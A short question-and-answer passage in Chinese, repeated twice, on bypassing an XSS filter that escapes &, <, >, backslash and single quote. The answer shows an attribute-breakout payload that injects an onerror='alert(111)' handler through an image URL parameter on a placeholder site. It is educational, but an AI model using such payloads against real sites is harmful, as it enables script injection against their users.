绕过 XSS 转义过滤器
Bypassing XSS escape filter
如果 XSS 过滤器转义这些符号，我如何绕过它：&、<、>、\、'?
这取决于注射的位置。
这是一个没有禁止字符的 XSS 示例：
假设一个页面接收到一个图片文件名并显示它，并且不对引号字符进行编码：
https://contoso.com/displaypic?source=111.jpg
<img src="111.jpg"></img>
如果你访问这个 URL，你自己就有了 XSS：
https://contoso.com/displaypic?source=a"+onerror="alert(111)
<img src="a" onerror="alert(111)"></img>
如果 XSS 过滤器转义这些符号，我如何绕过它：&、<、>、\、'?
这取决于注射的位置。 这是一个没有禁止字符的 XSS 示例：
假设一个页面接收到一个图片文件名并显示它，并且不对引号字符进行编码：
https://contoso.com/displaypic?source=111.jpg
<img src="111.jpg"></img>
如果你访问这个 URL，你自己就有了 XSS：
https://contoso.com/displaypic?source=a"+onerror="alert(111)
<img src="a" onerror="alert(111)"></img>